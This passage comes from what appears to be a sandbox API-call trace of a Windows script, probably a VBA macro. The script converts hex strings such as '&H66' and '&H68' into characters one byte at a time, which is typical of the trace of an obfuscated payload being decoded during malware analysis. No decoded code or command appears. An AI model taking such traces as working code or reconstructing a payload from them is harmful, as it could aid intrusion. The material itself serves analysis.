lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c", lpUsedDefaultChar=0x0) returned 1 [0062.016] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.016] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.017] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.017] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.017] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.018] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.018] VarParseNumFromStr (in: strIn="&HE4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.018] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0062.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.035] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ä", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ä", lpUsedDefaultChar=0x0) returned 1 [0062.035] VarParseNumFromStr (in: strIn="&H66", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.035] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="f", lpUsedDefaultChar=0x0) returned 1 [0062.036] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.036] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.037] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.037] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.037] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.038] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.038] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.038] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 1 [0062.039] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.039] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0062.040] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.040] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.040] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.040] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.041] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.041] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 1 [0062.042] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.042] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436794, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.042] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.043] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436794, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.043] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.043] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.044] VarParseNumFromStr (in: strIn="&H16", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.044] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x16") returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x16", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x16", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x16", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x16", lpUsedDefaultChar=0x0) returned 1 [0062.045] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.045] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0062.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0062.045] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.045] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.046] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.046] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 